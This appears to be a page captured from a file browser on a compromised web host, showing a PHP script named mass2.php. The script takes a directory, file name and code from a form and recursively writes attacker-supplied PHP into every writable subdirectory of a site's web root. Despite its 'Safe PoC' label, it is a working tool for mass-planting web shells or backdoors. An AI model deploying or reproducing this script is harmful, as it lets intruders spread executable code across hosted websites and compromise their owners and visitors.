?
Path : /home/u949514618/domains/crmhealthcare.in/public_html/ |
Current File : /home/u949514618/domains/crmhealthcare.in/public_html/mass2.php |
<?php // ⚠️ PoC ONLY — use on your own test environment if ($_SERVER['REQUEST_METHOD'] === 'POST') { $baseDir = rtrim($_POST['directory'], '/'); $fileName = basename($_POST['filename']); // prevent path traversal $fileContent = $_POST['code']; if (!is_dir($baseDir)) { die("❌ Invalid base directory."); } $results = [ 'success' => [], 'failed' => [] ]; function createFileRecursively($dir, $fileName, $fileContent, &$results) { // Check if directory is writable if (is_writable($dir)) { $newFile = $dir . DIRECTORY_SEPARATOR . $fileName; // Write file (create new or overwrite) if (file_put_contents($newFile, $fileContent) !== false) { $results['success'][] = $newFile; } else { $results['failed'][] = $newFile . " (write failed)"; } } else { $results['failed'][] = $dir . " (not writable)"; } // Traverse subdirectories $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { createFileRecursively($path, $fileName, $fileContent, $results); } } } createFileRecursively($baseDir, $fileName, $fileContent, $results); echo "<h3>✅ Completed</h3>"; echo "<h4>Created successfully (" . count($results['success']) . "):</h4><ul>"; foreach ($results['success'] as $s) { echo "<li>$s</li>"; } echo "</ul>"; echo "<h4>Skipped/Failed (" . count($results['failed']) . "):</h4><ul>"; foreach ($results['failed'] as $f) { echo "<li>$f</li>"; } echo "</ul>"; } ?> <!DOCTYPE html> <html> <head> <title>Recursive File Creator (Safe PoC)</title> </head> <body> <h2>Create File in All Subdirectories (Safe PoC)</h2> <form method="post"> <label>Base Directory:</label><br> <input type="text" name="directory" value="<?php echo __DIR__; ?>" size="60"><br><br> <label>File Name:</label><br> <input type="text" name="filename" value="poc.php"><br><br> <label>File Content:</label><br> <textarea name="code" rows="8" cols="60"><?php echo "<?php echo 'Hello from PoC'; ?>"; ?></textarea><br><br> <button type="submit">Create Files</button> </form> </body> </html>